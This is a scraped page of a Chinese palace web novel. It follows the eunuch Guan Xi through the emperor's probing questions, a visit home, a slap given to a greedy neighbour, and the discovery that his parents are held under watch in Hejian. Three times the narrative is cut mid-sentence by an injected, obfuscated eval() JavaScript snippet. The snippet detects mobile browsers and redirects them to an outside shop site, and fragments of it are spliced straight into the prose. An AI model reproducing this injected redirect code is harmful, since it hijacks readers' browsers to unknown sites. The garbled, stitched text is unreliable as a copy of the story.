他如今站的位置,看似光鲜,实则每一步都可能踏空。皇帝的态度暧昧不明,太后的忌惮如影随形,后宫各方势力将他视为需要警惕或可以利用的异数,连那位看似天真娇憨的安宁公主,都试图在他身上落子。 而唯一与他有过最深切,也最不堪的纠葛,或许能窥见他一丝真实灵魂的那个人,却用最彻底的沉默和回避,划清了界限。 “棋子……同谋……” 楚玉那夜冰冷的话语再次在耳边响起。他现在,连做她棋子的资格,都因为这道擢升的旨意而被剥夺了?他成了皇帝棋盘中一枚更显眼,也更孤立的棋子,与承华宫,与她的那点微弱联系,被这道晋升的旨意和这间独立的耳房,不动声色地切断了。 门外传来叩击声,打断了他的思绪。 “小离子首领,陛下传你去书房。”是孙得禄的声音,隔着门板,听不出情绪。 关禧立刻起身整理了一下衣冠,打开门。 孙得禄站在门外,手里提着一盏气死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073611|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风灯,昏黄的光映着他没什么表情的脸:“陛下从琼林苑回来,似乎兴致不错,想在书房看会儿书,让你去伺候笔墨。” “是。”关禧应下,跟着孙得禄穿过夜色笼罩的回廊,走向灯火通明的书房。 书房内,龙涎香的气息比平日更浓郁些,混着一丝极淡的酒气。萧衍已换下宴会的常服,穿着一身月白色的软缎寝衣,外罩一件墨蓝色团龙纹的薄棉长袍,松散地倚在临窗的紫檀木躺椅上,手里拿着一卷书。 听到脚步声,他淡淡道:“磨墨。” 关禧走到酸枝木小几旁,挽袖,注水,取墨。动作已极其熟练,手腕稳定,力度均匀,墨锭与砚台摩擦发出极细微的沙沙声,在这寂静的书房里清晰可闻。 “今日琼林宴,你觉得如何?”萧衍问。 关禧垂首答道:“回陛下,琼林盛宴,英才荟萃,君臣同乐,奴才见识浅薄,只觉得气象万千,皆是陛下治下清平盛世之象。” 很标准,很安全的回答。 萧衍低笑了一声,那笑声很短,听不出什么意味,他转过头,目光落在关禧低垂的侧脸上,灯火在他睫毛下投出小片扇形的阴影。 “英才荟萃……是啊,新科进士,个个意气风发,满腹经纶。”他慢悠悠地说着,指尖在书卷上轻轻敲击,“那个桑连云,才情确实不俗,琴也弹得好。只是这心性……”他顿了顿,目光幽深,“你觉得他今日为难你,是为何?” 关禧心头警铃大作。皇帝这是要和他讨论臣子?还是试探他对桑连云,乃至对今日之事的看法? “桑状元才华横溢,心高气傲亦是常情。奴才卑贱之身,不堪与状元郎相提并论,惹其不快,是奴才之过。”他将过错全揽在自己身上,绝口不提桑连云的刻意针对。 萧衍看了他一会儿,又道:“你倒是会说话。处处把自己放得低,可惜,有人未必肯让你低下去。”他意有所指,“安宁那丫头,今日倒是跳出来替你说话了。你们之前认识?” 果然问到了安宁公主。关禧背脊绷紧:“回陛下,奴才此前从未有幸见过安宁公主殿下。今日亦是第一次得见。公主殿下仁善,或是见奴才窘迫,出于怜悯,才出言解围。奴才心中唯有感激。” “怜悯?”萧衍重复了一遍,嘴角勾起一个似笑非笑的弧度,“朕这个妹妹,年纪虽小,心思可不简单。她可不会随便怜悯什么人。”他身体前倾,目光如实质,笼罩住关禧,“她跟你说了什么?” 压力骤然增大。关禧能感觉到皇帝的目光紧紧锁住自己,不容许丝毫隐瞒或敷衍,他稳住心神,将安宁公主的话稍作修饰,如实回禀:“公主殿下……问了奴才的名字。又说在宫中闷得慌,若日后得知什么新鲜趣事……可以与她分享。奴才已回绝,言明御前当差,不敢妄传消息。” 他省略了“皇兄有什么特别喜欢或烦恼的”这句最敏感的话,只提了“新鲜趣事”,既不算完全隐瞒,又淡化了其中的打探意味。 萧衍听罢,沉默了片刻,“你回绝了?她竟没恼?” “公主殿下似乎有些不快,但并未苛责奴才。” “哼。”萧衍轻哼一声,重新靠回躺椅,目光转向跳跃的灯焰,“她倒是懂得分寸。知道什么人可以碰,什么人暂时还碰不得。”这话像是评价安宁,又像是在说给关禧听。 书房内再次陷入沉默,只有墨锭摩擦的沙沙声和更漏滴滴答答。 良久,萧衍忽然又开口,话题跳跃得让人措手不及:“你觉得,徐昭容今日是真的身子不适,还是……” 他没有说完,但未尽之意已然明了。 关禧握着墨锭的手指收紧。这个问题比前两个更加凶险。涉及怀有龙嗣的宠妃,涉及后宫阴私,他一个太监,稍有言辞不当,便是杀身之祸。 “陛下,奴才愚钝,于医术一道一窍不通,更不敢妄自揣测娘娘。”他选择最稳妥的回避,“徐昭容娘娘怀有龙嗣,尊贵无比,身体安康乃阖宫之福。奴才唯愿娘娘与皇子一切安好。” 萧衍盯着他,笑了笑,这次的笑声里带着明显的嘲弄,不知是对关禧滴水不漏的回答,还是对别的什么。 “阖宫之福……是啊,所有人都盼着她好,盼着那孩子好。”他低声说着,语气有些飘忽,“就连太后,就连皇后……都盼着。” 他不再说话,重新拿起那卷书。 关禧不敢接话,继续默默地研磨。手腕渐渐酸涩,他却不敢有丝毫停顿。 时间在压抑的寂静中流淌。 不知过了多久,萧衍有些倦了,摆了摆手:“下去吧。” 关禧如蒙大赦,停下动作,躬身:“奴才告退。” 他保持着躬身的姿势,一步步退出书房,直到关上那扇沉重的门扉,才缓缓直起腰,后背已是冷汗涔涔。 今晚皇帝的每一句问话,都是试探。试探他对新科进士,对安宁公主,对徐昭容乃至对整个后宫局势的看法和立场。而他,必须给出最正确,最无懈可击的反应,不能有丝毫个人情绪,不能有半点倾向。 这就是御前。每一刻,都是走在刀锋上。 他走回西配殿耳房的路上,夜风更冷了。路过一处转角时,他下意识地朝承华宫的方向望了一眼。那里只有一片沉沉的黑暗和零星几点灯火,遥远模糊。 楚玉此刻在做什么?是否也已回到承华宫那间她独居的小屋?是否也会在这样一个寒冷的夜晚,偶尔想起那晚西暖阁的暖香,或是浴堂门口对峙? 他收回目光,加快了脚步。 不会的。她那样的人,最懂得如何遗忘不该记住的事情,如何割舍不必要的牵绊。 而他,也必须尽快学会。 55.第 56 章 御前行走的差事,远不止研墨烹茶。 萧衍真的在用关禧。 一些不算机要,繁琐耗时的文书整理,誊录,摘要,被越来越多地交到他手上。起初只是乾元殿书房积存的旧档,后来渐渐涉及六部抄送来的部分公开奏报副本,乃至光禄寺,钦天监等衙门的寻常例行文书。 关禧必须从那些或工整或潦草,或简练或冗赘的字句中,迅速提炼出时间,地点,人物,事由,数额等关键,以清晰简明的格式重新誊录,附于原件之前,供皇帝御览时节省目力。 这工作极其考验耐心细致,以及对文字的敏感。 关禧起初做得磕绊,文言功底终究是他的短板,一些官场术语,典章故实需要反复查阅,甚至硬着头皮向孙得禄请教,那位副总管总是笑眯眯的,解答也挑不出错,只是那笑意从不达眼底。关禧便自己摸索,将遇到的生僻词句,疑似典故悄悄记下,夜里回到那间耳房,就着灯油,翻检萧衍书房里那些允许他借阅的《会典》,《职官志》乃至前朝笔记。 他不敢显得太聪明,进度只比旁人预估的快上那么一线,交上去的摘要,条理务必清晰,字迹绝对工整,但绝不会有多余的个人见解或修饰。 他只呈现事实,不附加情绪。 孙得禄曾拿着他整理好的一摞文书,对着灯光细看半晌,指尖划过那干净挺拔的馆阁体小楷,淡淡说了一句:“这字倒真下了功夫。”不知是褒是贬。 关禧手下也有了人。 两个刚净身不久分来乾元殿听用的小火者,一个叫双喜,圆脸爱笑,手脚麻利,一个叫贵平,沉默寡言,眼神却活,都是十几岁的年纪,看向关禧的眼神里,带着对御前红人本能的敬畏。 关禧没摆什么首领架子,只将一些跑腿,洒扫,搬运卷宗的杂事分派下去,要求只有两个:一是嘴紧,二是腿勤。他不多话,赏罚也分明,做完分内事,并不苛求他们贴身伺候。两个小火者渐渐摸准了这位年轻上司的脾气,做事倒也尽心。 或许是离开了承华宫那压抑的环境,或许是不必再日夜忧心,又或许是乾元殿的伙食确实精细,关禧这具身体,正悄然发生着变化。 脸盘褪去了最后一点少年人的圆润,下颌线条清晰起来,鼻梁更显挺直。丹凤眼的轮廓精致,眼尾那抹天然的微翘未曾改变,但因时常凝神阅卷或垂眸侍立,眸色比往日更沉静,偶尔抬起时,那沉静底下仿佛藏着一汪深潭,映不出多少情绪。身量也抽高了些,虽仍显清瘦,但裹在合体的靛蓝或鸦青太监服下的肩膀和手臂,已能隐约看出柔韧的线条。这是长期规律当差,饮食跟上的结果,与真正武人的精壮不同,是一种属于少年人向青年过渡内敛的劲瘦。 他依旧苍白,那是久居室内少见天日的苍白,但在特定光线下,会透出一种润泽的瓷光。这张脸,在彻底长开,摆脱了雌雄莫辨的稚气后,呈现出一种独特的介乎于俊美与清冷之间的气质,加上那份愈发沉静稳重的姿态,走在乾元殿的回廊里,已无人会将他与孱弱卑怯之类的词联系起来。 只是,有一把剑始终悬在头顶,未曾落下。 侍寝。 皇帝再未提起,甚至连暗示都无。萧衍待他,与对待孙得禄或其他几个御前得用的太监并无不同,吩咐差事,偶尔问话,态度多数时候是平淡的。只有极少数时刻,比如批阅奏章间隙,目光掠过他低垂的侧脸或研墨的手时,会停留得稍久一些,那眼神深邃难辨,有关禧无法理解,也不愿深思的东西。 但这沉默本身,就是一种折磨。它让关禧时刻处于一种预备状态,就像站在悬崖边,不知那阵推他下去的风何时会来。夜深人静时,那种源自灵魂深处对即将发生的恐惧,会啃噬他的神经。他厌恶这具身体可能产生的反应,更恐惧那个时刻真正来临时,自己该如何应对,会不会彻底崩溃,露出马脚。 他只能更用力地埋首于文书,用枯燥的文字和繁复的条规填充每一寸思绪,强迫自己不去想。 日子在战战兢兢的平静中滑到初冬。 这日,萧衍批完一批紧急军报,难得显出一丝松快,抬眼看了看窗外灰蒙蒙的天色,又看了看垂手侍立在侧的关禧。 “进宫也有些时日了。”萧衍忽然开口,语气随意,“朕记得,王元宝的册子上写,你是河间府……上河村人士?” 关禧心头微凛,垂首应道:“回陛下,奴才确是河间府上河村人。” “嗯。”萧衍指尖在御案上敲了敲,“家中还有何人?” 小离子残存的记忆碎片浮现:低矮的土坯房,常年咳嗽的父亲,面容愁苦手指粗糙的母亲,还有一个早夭的弟弟,以及父母最终商量将他送进宫里时,那混合着无奈愧疚与一丝解脱的复杂眼神。 关禧灵魂深处对此并无波澜,甚至有些抗拒。那不是他的父母,那是小离子的。但他必须扮演好这个角色。 “……父母俱在。”关禧语气平稳,听不出情绪。 “既然家中尚有双亲,你又在御前当差,表现尚可。”萧衍斟酌了一下,“朕准你几日假,出宫探望一番。河间府离京城不远,快马加鞭一日可到。也算全你人伦孝道。” 出宫?回上河村?探望那对陌生的父母? 意外之后,涌上的是更为复杂的情绪。关禧并不想回去,那里没有他的亲人,没有他的归属,只有属于另一个灵魂的沉重贫穷记忆和或许早已淡漠的亲情牵绊。但皇帝的恩典不容拒绝,这或许也是一种赏赐,一种姿态,看,朕体恤下人,恩泽及于微末。更深一层,这是否也是另一种观察?观察他离宫后的行止,观察他与家人的联系,甚至观察他是否真的安分? “奴才……谢陛下隆恩!”关禧立刻跪下,声音带着恰到好处的激动,模仿着记忆中该有的反应,“陛下体恤,奴才粉身难报!” 萧衍摆了摆手:“去吧。让孙得禄给你安排车马,准你带个使唤人。赐些银两布帛,也算朕的赏赐。连来回路程,给你四日时限。准时回宫,不得延误。” “是,奴才遵旨。” 退出书房,关禧的心绪仍在翻涌。出宫……虽然只是去那个并不属于他的家,可毕竟能暂时离开这四四方方的宫墙,呼吸一口宫外的空气。哪怕只有短短几日。 孙得禄得知消息后,效率很高。 很快安排了一辆半旧的青毡马车,一个话少稳重的老车夫,并按照皇帝口谕,支取了二十两银子,两匹青布和两盒宫中常见的点心。 关禧只带了双喜,那孩子听说能出宫,眼睛都亮了,又努力做出稳重的样子。 次日天未亮,一辆不起眼的青毡马车,载着关禧和双喜,从皇城东侧的偏门缓缓驶出。 当车轮碾过宫门门槛,发出“咯噔”一声闷响时,关禧忍不住掀开车帘一角,向外望去。 高高的宫墙在熹微的晨光中显出灰色,逐渐向后退去。街道逐渐宽阔,又渐渐变得杂乱,两旁是鳞次栉比的灰瓦屋顶,低矮的店铺开始卸下门板,挑着担子的小贩身影出现,空气中传来各种陌生的气息,煤烟,炊饼,马粪,尘土的混合味道。 马车出了京城,沿着官道向东,朝着河间府的方向疾驰。初冬的原野一片萧瑟,树木枝丫光秃,田地裸露着褐色的泥土,远处村庄的轮廓在薄雾中若隐若现。宫城早已消失在身后地平线下,成为记忆里一道巍峨而压抑的剪影。 双喜起初还兴奋地东张西望,渐渐也被长途颠簸和单调景色弄得有些昏昏欲睡。关禧靠着车厢,闭目养神,脑海中却不受控制地翻阅着小离子留下的,关于上河村和父母的零星记忆。那是一种贫苦,麻木,为生存挣扎的画面,与他在现代社会的家庭经验,以及穿越后所见的宫廷富贵,都格格不入。 他该如何面对那对父母?以什么样的表情和语气?皇帝赐下的银两布帛,是恩典,也可能成为新的负担。他隐隐觉得,这次返乡,绝不会只是简单的探亲。 路途比预想的更颠簸漫长。 当晚在驿栈歇了一夜,次日午后,马车终于拐下官道,驶上一条坑洼不平的土路。路旁的村落渐渐密集,房屋低矮破败。 车夫问了两次路,终于在一个岔路口指向一条更窄的小道:“前面就是上河村了。” 关禧掀开车帘,望去。村子依着一条浑浊的小河而建,房屋多是土坯茅草顶,偶有几间半砖半土的,也显破旧。时值午后,村口古树下有几个老人蹲着晒太阳,几个衣衫褴褛的孩子追逐打闹,听到车马声,都停下动作,好奇地张望过来。 马车在村中狭窄的土路上艰难前行,引来更多窥探的目光。很快,车子在一处低矮的土墙院外停下。院墙塌了半截,露出里面三间破旧的土坯房,房顶的茅草看起来很久没有翻新过,在冬日的风里瑟瑟发抖。 这就是小离子的家。 那扇柴扉半掩着,门轴歪斜,露出的缝隙里是满院荒草。土坯房的门窗紧闭,窗纸破了大洞,在冷风里呼啦作响,不像有人居住的样子。 关禧站在院门外,看着这与记忆中并无二致的破败景象,心头那点本就微弱的波澜迅速沉寂下去。果然,即使没有穿越这回事,小离子与这个家的缘分,也早已随着他净身入宫那一刀,断得差不多了。 双喜在一旁探了探头,小声问:“首领,这家里好像没人?” 关禧没说话,目光扫过隔壁那户稍微齐整些的院子。一个穿着臃肿破棉袄,胡子拉碴的中年汉子正扒着自家低矮的土墙,伸长脖子往这边瞧,脸上写满了好奇。 见关禧看过来,那汉子立刻堆起笑容,手脚并用地从墙头翻了过来,他两家之间的土墙本就矮得形同虚设。 “哎哟!这不是……这不是景和吗?”汉子搓着手凑近,眼睛像钩子一样在关禧崭新厚实的鸦青缎面棉袍,腰间那块深色木牌,以及身后规规矩矩站着的双喜和那辆结实的马车上打转,“了不得!了不得!真是景和!在宫里发达了!这气派!” 关禧蹙眉,后退半步,拉开距离。他不记得这汉子具体是谁,大约是某个邻居,姓张还是姓王。他脸上没什么表情,淡淡道:“这位叔伯,我爹娘不在家?可知去了何处?” “哎呀!你还不知道?”汉子一拍大腿,声音拔高,“你可真是赶了个巧!你家爹娘啊,享福去啦!前几日,来了好些体面人!瞧着就不是寻常人家,穿得光鲜,说话客气,还有大马车!说是……说是你家在城里的远房亲戚,接二老去河间府里享清福呢!那阵仗,啧啧,村里人都瞧见了!你爹娘走的时候,脸都笑开了花!” 城里亲戚?享清福? 关禧心中冷笑。小离子的记忆里,除了穷得叮当响的近亲,哪有什么能派出体面人和大马车的城里远房亲戚?若有,当初也不会为了几两卖身银子就把他送进宫。 是谁?答案几乎呼之欲出。他前脚刚出宫,后脚父母就被接走,时间拿捏得如此精准,行事这般滴水不漏。在这河间府地界,能有这般手段,又对他这个小小太监如此上心的,除了那位高踞永寿宫连皇帝都要忌惮三分的太后娘娘,还能有谁? 这是明晃晃的警告,也是赤裸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078447|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裸的掌控。告诉他,即便他飞出宫墙,即便他有了御前行走的身份,他的一切,包括他血缘上的根,依旧牢牢捏在别人手里。恩典是赏,也是锁链,探亲是假,提醒是真。 那汉子见关禧沉默,只当他被这喜讯震住了,眼珠一转,凑得更近些,带着熏人的口臭:“景和啊,叔打小看你就有出息!瞧瞧,如今在贵人身边伺候,这通身的气派!叔家那小子,狗剩,你还记得不?跟你小时候一块儿玩过泥巴的,今年也十三了,机灵着呢!就是家里穷,没啥出路……” 他舔了舔干裂的嘴唇,脸上堆出更多笑纹,声音压得低了些,却掩不住那股子热切:“你看……能不能也带带他?让他跟你进宫去?也不用像你这样伺候到天边去,就在宫里讨个差事,混口饭吃,将来也能拉扯家里一把不是?你如今是宫里的大红人了,这点小事,还不是你一句话?” 进宫?讨个差事? 关禧转过头,目光落在汉子那张被风吹日晒得黝黑粗糙写满期盼的脸上。那期盼背后,是毫不掩饰的对进宫这条捷径的向往,是对太监身份可能带来利益的贪婪,唯独没有对净身这件事本身,对一个男孩将遭受怎样残酷剥夺的半分犹豫或怜惜。 他想起了停尸房醒来时的剧痛和绝望,想起了浴堂里那具身体不受控制的背叛和楚玉冰冷的眼神,想起了琼林宴上桑连云鄙夷的嘲讽和众人隐秘的嗤笑……所有被压抑的怒火,此刻都找到了一个宣泄的出口。 他盯着那汉子,极轻地笑了笑,声音平静得有些诡异:“带我狗剩兄弟进宫?当然可以。” 汉子脸上瞬间迸发出狂喜。 关禧不紧不慢地继续问,每个字都像淬了冰的钉子:“只是,叔,进宫当差,有些规矩……您可知道?想清楚了?” “知道!知道!”汉子忙不迭点头,喜形于色,“不就是要守规矩嘛!狗剩听话!让他干啥就干啥!绝不给你添乱!” “规矩嘛,倒也不难守。”关禧点了点头,语气越发温和,甚至带着点循循善诱,“只是,宫里当差的,尤其是想往上走一走,得先过了净身那一关。叔,您知道净身是什么意思吧?” 汉子的笑容僵在了脸上。 关禧微微倾身,靠近他,一字一句,清晰无比,确保每一个字都敲进对方耳朵里:“就是,得把那传宗接代的玩意儿,连根切了。从此以后,不算个男人,断子绝孙,死了连祖坟都未必进得去。您……愿意让狗剩兄弟,走这条路?” 汉子的脸色由红转白,又由白转青,嘴唇哆嗦着,下意识地猛然后退一步,瞪着关禧,脱口而出:“那哪成!那……那玩意儿都没了,还算个男人吗?!不行!绝对不行!我老张家还指望他传香火呢!” “不算个男人?” 关禧重复了一遍这五个字。 语调平平,脸上甚至没什么表情变化。 但站在他侧后方的双喜,莫名打了个寒颤,悄悄把头垂得更低。 下一秒。 “啪!” 一声清脆响亮的耳光,结结实实地抽在了汉子的脸上。 关禧这一下用了狠力,没有丝毫留情。汉子被打得一个趔趄,差点摔倒,脸上迅速浮起五道清晰的指印。他捂着脸,懵了,呆呆地看着眼前这个面色苍白,眉眼沉静,出手却如此狠戾的年轻太监。 “不算个男人?”关禧收回手,指尖发麻,他甩了甩,“刚才求我带你儿子进宫的时候,怎么不想想他是不是男人?现在跟我这儿说不算男人?” 他抬起眼,那双凤眼里没有丝毫温度,只有一片深不见底的寒潭,映出汉子惊恐扭曲的脸:“你儿子是男人,要传香火,不能切。那我呢?我活该就不是男人,活该断了根,活该在这不人不鬼的地方挣命?!” 他向前逼近一步,汉子吓得连连后退。 “我告诉你,张叔,”关禧扯了扯嘴角,那笑容冷得刺骨,“这条路,是你儿子自己不想走吗?是你舍不得!是你们这些真男人,舍不得自己那二两肉,舍不得所谓的香火,却眼红别人从这条路上踩出来的富贵!拿我们这些不算男人的东西当垫脚石,还嫌垫脚石硌得慌?” “我爹娘在哪儿?”他不再看那吓得魂不附体的汉子,目光扫过破败的院落和远处好奇张望的村民,声音恢复了之前的平淡,“河间府城里,哪家亲戚?住哪儿?” 汉子捂着火辣辣的脸,哪里还敢隐瞒,结结巴巴道:“不、不知道具体哪家……就、就说在河间府……东、东城那块儿……是、是大户人家来接的……” 关禧不再多问。他最后瞥了一眼那破败死寂的院落,好似要将这一幕彻底从视线里剜去。 转身,对噤若寒蝉的双喜和车夫吐出四个字:“去河间府。” 没有半分留恋,没有丝毫拖泥带水。 他径直走向马车,鸦青的袍角拂过枯草和尘土,再未回头。 双喜连忙小跑着跟上,手脚麻利地掀开车帘。车夫也赶紧坐回驭位,扬起了鞭子。 青毡帘子落下,隔绝了那汉子惊恐未定的目光,隔绝了破败的院落,也隔绝了这片与他灵魂毫无瓜葛的土地。 车轮滚动,吱呀作响,碾过冻硬的土路,扬起细微的尘埃。 车厢内,双喜缩在角落,大气不敢出,只偷偷觑着自家首领。 关禧靠着车厢壁,闭着眼,脸上没什么表情,只有那只刚才扇过耳光的手,指尖还在极轻地捻动着。 双喜忽然觉得,这一刻的首领,比在乾元殿御前沉默研墨时,更让人感到畏惧。 56.第 57 章 车夫是宫里指派出来的,沉默寡言,对河间府城意外的熟悉。不用关禧多言,出了上河村上了官道,他便放缓了车速,每逢岔路,便停车向路边茶棚,歇脚的脚夫,或是巡逻的差役打听一两句。 官道平坦了些,也嘈杂许多。车轮声,马蹄声,商贩叫卖声,间或混着几句听不懂的河间土话,透过不算厚实的车帘钻进来。空气里的味道也更复杂了,尘土之外,有骡马的气息,有路边食摊飘来的油烟气,还有冬日萧索草木的味道。 双喜偷偷掀开帘子一角,瞪大眼睛看着外面飞掠而过的集镇,田野,络绎不绝的行人车马。京城虽大,但宫墙之内,规矩森严,何曾见过这般鲜活杂乱的市井气。他看了一会儿,又悄悄瞥向关禧。自家首领依旧维持着那个姿势,闭目养神。 双喜立刻缩回手,不敢再看。 车夫的打听颇有章法,话不多,往往几句便问到点上。约莫又行了半个多时辰,马车再次拐下官道,驶入一条相对宽阔平整的青石板路,路两旁开始出现高矮不一的铺面,挂着各色招牌幌子。行人多了起来,衣着打扮也明显比乡下齐整。 河间府城到了。 与外城的喧嚣不同,车夫显然得了指引,驾着马车七拐八绕,渐渐驶入一片较为安静的街区。路面平整,两旁不再是敞开式的店铺,而是一堵堵或高或矮,或新或旧的院墙。墙头探出光秃秃的枝丫,偶尔可见一两株耐寒的松柏,透出深宅大院特有的沉静。行人也稀少了,偶尔有挑着担子的小贩匆匆走过,或是穿戴体面的仆役模样的人出入某扇黑漆大门。 马车最后在一处巷口停下。巷子狭窄,仅容一车通过,深处隐隐可见一座不算特别宏伟,但门面颇为齐整的宅院。院墙是清水砖墙,墙头覆着黑瓦,两扇黑漆木门紧闭,门楣上并无匾额,只嵌着一对黄铜兽头门环,擦得锃亮,在冬日午后的微光里闪着冷硬的光泽。 此处远离闹市,又在城东这富庶区域内,位置选得低调考究。 车夫跳下车辕,低声对车厢内道:“首领,打听到了,应是这里。左邻右舍都说,前几日有户李姓人家搬来,深居简出,不大与旁人往来。” 关禧缓缓睁开眼,整理了一下自己的衣袍,尤其是袖口和领口,确保一丝皱褶也无。 然后,他推开车门,下了车。 站在巷口,他没有立刻过去。目光先是在那扇紧闭的黑漆大门上停留片刻,又扫过左右安静的巷道和高墙,才迈步朝那宅院走去,步伐不快。 双喜连忙小跑着跟上,心里莫名紧张。 到了门前,关禧看了一眼那对黄铜门环,抬手握住右边那只,不轻不重地扣了三下。 “笃,笃,笃。” 声音在寂静的巷道里回荡,显得有些突兀。 门内很快有了动静。是门栓被抽开的细微声响。紧接着,右边那扇门被拉开一道缝隙,露出一张脸。 是个约莫五十来岁的妇人,穿着半新不旧的靛蓝棉袄,头发梳得一丝不苟,用银簪绾着,脸盘圆润,皮肤白净。她先是从门缝里快速打量了一下门外的人,目光在关禧身上那身一看就价值不菲的鸦青贡缎棉袍和腰间木牌上停顿了一瞬,脸上立刻堆起了恰到好处的恭敬笑容。 “这位公子,您找谁?” 关禧看着她,神色平淡:“我姓李,名景和。听闻家父母近日搬来此处,特来探望。” 妇人眼中飞快地掠过一丝“果然来了”的了然,笑容更盛,连忙将门完全打开,侧身让开:“哎哟!原来是少爷回来了!快请进,快请进!老爷和夫人早就念叨着了!老奴姓刘,是府里伺候的。” 刘嬷嬷说着,又瞥了一眼关禧身后的双喜和马车,见双喜穿着宫中式样的袄子,马车结实干净,心里便更有数了,态度越发殷勤。 关禧迈步走进门内。里面是个不大的影壁,绕过影壁,是个规整的一进小院。迎面三间正房,左右各有两间厢房,院子四四方方,铺着青砖,角落里种着一株老梅,此刻尚未开花,枝干虬劲。院中收拾得干干净净,水缸,石凳等物摆放得宜,窗明几净。 刘嬷嬷小步快走在前引路,一边朝正房扬声笑道:“老爷,夫人!快看看谁来了!是少爷!少爷回来看您二老了!” 正房的门帘立刻被掀开了。 先出来的是个男人,四十上下年纪,身材瘦小,背有些佝偻,穿着一身崭新的宝蓝色绸面棉袍,那料子不错,但穿在他身上显得有些空荡,衬得他脸色愈发黄黑,是常年劳作留下的印记,新衣裳也遮不住那股子局促。他搓着手,嘴唇嚅动了几下,才喊出一声:“景和……” 这便是李父,小离子的父亲,李老实。 紧接着,一个妇人跟了出来,同样四十岁左右,比李父稍显富态些,穿着簇新的绛紫色缎面夹袄,头上插着两根银簪,脸上扑了粉,也掩不住眼角的细纹和面色的憔悴。她看到关禧的瞬间,眼睛立刻就红了,泪水在眼眶里打转,颤着声喊:“我的儿啊!你可回来了!” 这是李母,王氏。 关禧站在原地,看着这对既熟悉又陌生的父母。记忆里,他们总是愁苦的,为下一顿饭发愁,为儿子的前程发愁。如今,他们穿上了体面的衣裳,住进了干净的院子,脸上还是那种被命运摆布惯了,骤然面对无法理解的好运时的惶然无措,甚至在那份惊喜之下,藏着连他们自己都未必清楚的恐惧。 刘嬷嬷在一旁笑道:“夫人快别站着哭了,少爷一路辛苦,快进屋暖和暖和!老奴去沏茶!” 王氏这才反应过来,连忙用袖子擦了擦眼角,上前想拉关禧的手,又在触到他鸦青袍袖那冰凉光滑的触感时,畏缩地缩了回来,只连连道:“对,对,进屋,进屋说。” 李父也忙不迭地侧身让开门口。 关禧颔首,抬步走进了正房。 屋里烧着地龙,暖意扑面而来,还夹杂着一股新家具的木头味和淡淡的熏香气。陈设简单齐全:当中一张八仙桌,两把太师椅,旁边是几张杌子,靠墙摆着条案,上面放着花瓶和一套粗瓷茶具。东西都是新的,式样普通,谈不上多好,但比起上河村那间漏风的土坯房,已是天壤之别。 关禧在刘嬷嬷的指引下,在主位的一张太师椅上坐下。李父李母有些手足无措,站在一旁,不敢坐。双喜机灵地跟在关禧身后,垂手侍立。 刘嬷嬷很快端了热茶上来,是普通的茉莉香片,香气倒是扑鼻。她给关禧奉了茶,又给李父李母也各倒了一碗,便退到门边,垂手站着,脸上带着那抹恭敬的笑。 “爹,娘,坐吧。”关禧开口,声音平静,听不出太多情绪。 李父李母这才有些拘谨地在旁边的杌子上坐了,只坐了半边屁股。 “景和啊,你在宫里可好?”李父憋了半天,问出这么一句。 “还好。陛下仁厚,差事也还顺遂。”关禧简短答道,端起茶碗,轻轻拨了拨浮沫。 “那就好,那就好……”李父喃喃着,又不知道说什么了。 王氏的眼泪又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079644|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涌了出来,这次带上了更多真切的情绪,她看着关禧,目光在他脸上身上逡巡,想要找出这一年来所有的变化:“我儿胖了,也……也俊了,宫里……没人欺负你吧?那……” 她想问那去势之后的身子如何,话到嘴边却无论如何也吐不出来,只剩下哽咽。 关禧放下茶碗,瓷底与桌面相触,发出轻微的磕碰声。 屋内一时寂静,只有李母压抑的抽泣和李父沉重的呼吸。刘嬷嬷垂着眼,仿佛什么都没听见。 “爹,娘,”关禧再次开口,目光落在李父李母身上,“这宅子住得可还习惯?接你们来的亲戚,可还周到?” 李父李母闻言,脸色都变了变,互相看了一眼,眼中尽是惶惑。李父搓着手,声音更低了:“习、习惯,这房子太好了,那亲戚也没说是哪家,就说是远房的,感念我们生养了你,接我们来享福……东西、用度都安排得好,刘嬷嬷也尽心……”他语无伦次,显然自己也糊涂着。 王氏也止了泪,小声道:“就是不让多出门,说怕我们初来乍到,不懂城里的规矩,冲撞了贵人,平日里,也就刘嬷嬷陪着我们说说话……” 关禧心中了然。果然是严密监控下的享福。他看着眼前这对被突如其来的富贵砸晕,又被无形枷锁困住的夫妻,心头那点火气早已熄灭,只剩下怜悯。他们或许直到此刻,仍不明白自己成了什么人质,或者,隐约明白,却不敢深想,只能被动地接受这命运额外的馈赠。 “既如此,便安心住着吧。”关禧的语气缓和了些,“陛下开恩,准我几日假,赐了些银两布帛。双喜。” 